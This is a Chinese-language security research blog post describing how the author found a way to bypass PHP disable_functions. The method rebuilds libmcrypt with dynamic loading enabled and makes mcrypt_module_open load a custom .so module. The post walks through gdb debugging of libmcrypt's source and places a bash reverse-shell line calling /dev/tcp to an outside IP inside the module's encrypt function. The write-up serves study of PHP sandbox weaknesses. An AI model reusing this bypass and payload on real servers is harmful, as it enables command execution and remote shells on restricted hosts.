盒子
盒子
文章目录
  1. 前言
  2. php mcrypt模块
  3. 环境配置
  4. 源码分析
  5. 结束

挖掘PHP禁用函数绕过利用姿势

前言

记得以前乌云还在的时候,有个哥们在zone里问php如果把 dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec 这些函数都禁用了,应该如何执行命令。当时我看他给出的php版本很低,就直接用反序列化uaf直接调用exec的原型强行反弹了个shell。不过最后那哥们找到了一种利用LD_PRELOAD 和 mail函数的方法进行了绕过,见原drops上的文章 《利用环境变量LD_PRELOAD来绕过php disable_function执行系统命令》。这个方法其实在08年就已经有人提出来了:php-bug 。应该还是有人记得这个哥们的,反正我是特别佩服他。

其实在php中,类似的问题还是存在很多的,本文将记录一次完整的php禁用函数绕过姿势的挖掘过程。在开头就说明一下,这次这个姿势在实战环境下没什么卵用,我写这个只是为了说明php中类似问题的利用方法。

php mcrypt模块

有一天上班公交车上看feedly,在LR师傅的博客上看到php协议流文档的翻译,然而那个翻译真的看得我蛋疼,所以我直接又去官网翻了下php://filter文档,发现php的过滤器支持Encryption Filters :filters.encryption ,其中有两个参数比较有意思:

mcrypt_man.png

这两个参数可以指定加密算法和模式的模块目录。但是后面的文档中并没有对这两个参数和需要实现的接口做进一步描述,之后我发现,这个加密过滤器其实是mcrypt这个扩展模块中的接口,mcrypt模块中的mcrypt_module_open函数是一个更通用的方法:mcrypt_module_open
该方法中有两个参数 algorithm_directorymode_directory 可以指定模块加载的目录,按照文档中的说法,如果不指定,则为php.ini中的默认值。看到这里的时候我觉得这个地方只要我编译一个带有加密函数接口的so库,并在该接口中插入恶意的代码,然后通过这个参数指定到这个目录,在调用加密方法的时候,我插入的代码就会被执行了。然后我这么做的时候,发现不管怎样更改directory参数,我指定的so都不会被加载,就算指定不存在的位置,也不会报错,然后我找了很多资料,发现对这个参数的具体使用,so库需要实现哪些接口,命名上的要求,完全没有任何文档说明。接下来是一些反复跳坑的过程,最后说下这个指定目录到底应该如何调用so库,以及他导致的php禁用函数绕过。

环境配置

首先下载php源码(php版本不限制,我用的是php5.4.34)和依赖,

1
2
3
wget http://jp2.php.net/get/php-5.4.34.tar.gz/from/this/mirror 
wget http://jaist.dl.sourceforge.net/project/mcrypt/Libmcrypt/2.5.8/libmcrypt-2.5.8.tar.gz
wget http://jaist.dl.sourceforge.net/project/mhash/mhash/0.9.9.9/mhash-0.9.9.9.tar.gz

接下来编译安装,开始第一次跳坑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
cd libmcrypt-2.5.8
./configure
make && make install
cd ../mhash-0.9.9.9
./configure
make && make install
cd ../
cd ../php-5.4.34/
./configure --with-apxs2=/usr/bin/apxs2
cp php.ini-production /usr/local/lib/php.ini
因为考虑到之后可能要单独分析mcrypt模块,所以我没有在confiure的时候添加选项,而是在接下来编译了扩展库
cd ext/mcrypt/
phpize (需要autoconf)
./configure --with-php-config=/usr/local/bin/php-config
make && make install
然后在php.ini中添加扩展目录和扩展,并添加禁用函数:
disable_functions = dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec

接下来使用这段测试代码应该就可以输出密文了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
/* Open the cipher */
$td = mcrypt_module_open('rijndael-256', '', 'ofb', '');

/* Create the IV and determine the keysize length, use MCRYPT_RAND
* on Windows instead */
$iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_DEV_RANDOM);
$ks = mcrypt_enc_get_key_size($td);

/* Create key */
$key = substr(md5('very secret key'), 0, $ks);

/* Intialize encryption */
mcrypt_generic_init($td, $key, $iv);

/* Encrypt data */
$encrypted = mcrypt_generic($td, 'This is very important data');
echo $encrypted."\n";

mmm.php

然后按照我们一开始的思路测试下加载指定目录的so文件,发现并无卵用,这时我花了一天的时间去google关于php mcrypt扩展的文档,对于这个指定dir的参数并没有文档说明,然后又去问了一些php大牛,他们给出的答复似乎并不能解决问题。然后被逼无奈我开始怼源码。

源码分析

首先定位到 mcrypt_module_open 函数原型,这个函数是在 libmcrypt 中的,我建议如果食用ctag分析的话,把libmcrypt和mcrypt的源文件放在一起建立索引。

function mcrypt_module_open –> libmcrypt-2.5.8/lib/mcrypt_modules.c : 166

他是调用了mcrypt_dlopen –> libmcrypt-2.5.8/lib/mcrypt_modules.c : 128

这个函数中 141-144 行如下:

1
2
3
4
if (_mcrypt_search_symlist_lib(filename)!=NULL) {
handle->handle = MCRYPT_INTERNAL_HANDLER;
return handle->handle;
}

filename 就是原来的 algorithm 也就是加密算法名,

_mcrypt_search_symlist_lib –> libmcrypt-2.5.8/lib/mcrypt_modules.c : 51

他会在全局数组 mps 里搜索这个算法名name,全局数组 mps 在编译时由 makefile 生成到mcrypt_symb.c 中,差不多是这个形式:

1
2
3
4
5
6
7
8
9
const mcrypt_preloaded mps[] = {
{"cbc", NULL},
{"cbc_LTX__init_mcrypt", cbc_LTX__init_mcrypt},
{"cbc_LTX__mcrypt_set_state", cbc......
...
{"rijndael-128", NULL},
{"rijndael_128_LTX__mcrypt_....
....
}

也就是说这个name在这个数组中出现的话,就会让 mcrypt_dlopen 直接返回 MCRYPT_INTERNAL_HANDLER
MCRYPT_INTERNAL_HANDLER(void *)-1 ,没啥实际意义,就是个flag,返回这个值会导致调用 _mcrypt_search_symlist_sym –> libmcrypt-2.5.8/lib/mcrypt_modules.c : 65 ,该函数会直接返回 mps 中的算法的地址,所以根本不会从我指定的dir位置加载,会直接返回系统libmcrypt.so中的算法进行调用。

所以我觉得,算法名必须要不同于库中给出的标准算法名才可以,然后我把算法名和so的名字更改之后,仍然没有成功,他会直接返回找不到加密模块的错误。

然后我又看了两个多小时源码,最后没办法,静态分析弄的头都大了,直接上gdb调

1
2
3
gdb php
b mcrypt_module_open
r mmm.php

执行到181行的时候s进到mcrypt_dlopen函数里,141 行是上面我们提到的那个判断,执行到这里的时候我们看下执行结果:

mmm_sys_lib_search.png

那个算法名我已经修改了,删了一个’i’,返回是NULL,如果是原来的算法名的话,返回是0xffffffff,所以这个分支会跳过。
继续往下执行可以看下paths:

1
2
(gdb) p paths
$7 = "/root/fuckphp:/usr/local/lib/libmcrypt/", '\000' <repeats 756 times>...

按照程序逻辑来说是没有问题的,继续往下执行,发现一个很奇怪的问题,157行的函数直接会被跳过,而159行的 lt_dlopenext(filename); 返回是0,导致返回的句柄是 NULL:

1
2
(gdb) p handle->handle
$8 = (void *) 0x0

我当时觉得问题就在这个函数里了,就跟进去调,发现这个函数怎么都s不进去,并且无法在 lt_dlsetsearchpath 和 lt_dlopenext 这两个函数上下断点,报错找不到symbol,这个问题困扰了我好久,之后我就继续读源码,发现libdefs.h中有这样一段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
#ifdef USE_LTDL
# include <ltdl.h>
#else
# define lt_dlexit() 0
# define lt_dlinit() 0
# define lt_dlclose(x) 0
# define lt_dlsym(x,y) 0
# define lt_dlhandle void*
# define lt_ptr_t void*
# define lt_dlerror() 0
# define lt_dlopenext(x) 0
# define lt_dlsetsearchpath(x) 0
#endif

如果没有定义 USE_LTDL 这个宏的话,那么这两个函数会直接变为两个返回0的宏定义,我们重新编译下libmcrypt 加上CFLAGS参数,让他把宏也编译到gdb调试信息中去:

1
./configure --disable-posix-threads CFLAGS="-g3 -gdwarf-2 -O2"

下断点到155行看一下宏:

1
2
3
4
(gdb) b mcrypt_modules.c:155
(gdb) r mmm.php
(gdb) p lt_dlopenext()
$1 = 0

果然此处是个宏,那么我们只要找到指定USE_LTDL宏的选项就好了,configure.in 中104行:

1
AC_DEFINE(USE_LTDL, 1, [use libltdl])

此处定义了USE_LTDL,发现这是个分支,进入条件是:

1
if test "x$opt_enable_ltdl" != xno; then

所以只要指定$opt_enable_ltdl就可以了,发现对$opt_enable_ltdl的操作在75行:

1
2
3
4
5
6
opt_enable_ltdl=no
AC_MSG_CHECKING([whether to enable dynamic module loading])
AC_ARG_ENABLE(dynamic-loading,
[ --enable-dynamic-loading enable dynamic module loading],
opt_enable_ltdl=$enableval)
AC_MSG_RESULT($opt_enable_ltdl)

所以,我们要指定 --enable-dynamic-loading 这个选项,这样才能开启USE_LTDL,也就是动态加载。
再编译一次:

1
2
./configure --disable-posix-threads --enable-dynamic-loading CFLAGS="-g3 -gdwarf-2 -O2"
make && make install

之后我并没有往后看他需要调用的接口,我直接把libmcrypt中的所有 rijndael-256 都替换成了 rjndael-256(包括文件名和文件内容,要注意一些隐藏文件夹),然后修改 modules/algorithms/rjndael-256.c ,添加头文件:

1
2
3
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

在 _mcrypt_encrypt 函数的定义部分结束后添加一行:

1
system("bash -c 'bash -i >& /dev/tcp/192.168.30.11/8888 0>&1'");

modules/algorithms/.libs/rjndael-256.so 拷贝到目标文件夹,再次测试,发现还是错误,再跟进去调一下,还是原来的位置下断点,我们发现,lt_dlopenext仍然返回NULL,但是这次我们可以s进去了,简单读一下代码发现他首先会提取后缀名,如果要执行lt_dlopen函数,则需要满足条件:

1
2
3
4
5
6
7
8
  if (ext && ((strcmp (ext, archive_ext) == 0)
#ifdef LTDL_SHLIB_EXT
|| (strcmp (ext, shlib_ext) == 0)
#endif
))
{
return lt_dlopen (filename);
}

否则,按照后缀默认是archive_ext进行之后的操作,输出下archive_ext:

1
2
(gdb) p archive_ext
$2 = ".la"

看下LTDL_SHLIB_EXT:

1
2
(gdb) p LTDL_SHLIB_EXT
No symbol "LTDL_SHLIB_EXT" in current context.

未定义,其实这个LTDL_SHLIB_EXT应该就是so,不过需要你手动安装ltdl库才有这个定义,但是就算该宏定义了,la文件也是必须的,因为在后面的操作中,需要操作handle->info.name这个值来调用so文件,而这个值需要从la文件的 dlname=’rjndael-256.so’ 中得到,所以在目标文件夹中需要la和so文件,那么我们将其全复制过来:

1
cp modules/algorithms/.libs/rjndael-256.* /root/fuckphp/

改下源代码:

1
$td = mcrypt_module_open('rjndael-256.la', '/root/fuckphp', 'ofb', '');

再执行下:

mmm_shell

搞定。

结束

最后得到的应用场景与一开始想的有很大差异,限制很多,变得了没啥用的鸡肋姿势,不过我觉得这个分析的过程还是有一些收获的,所以就随便写点纪录下来。

这说明动态加载在php中是风险很高的一个选项,此处可能鸡肋,但是不排除存在其他可以加载la和so的函数接口,就算找不到文档,硬怼源码也是可以搞定的。更多的利用姿势等待大家挖掘,有更屌的姿势环境发邮件与我探讨。

2016.11.20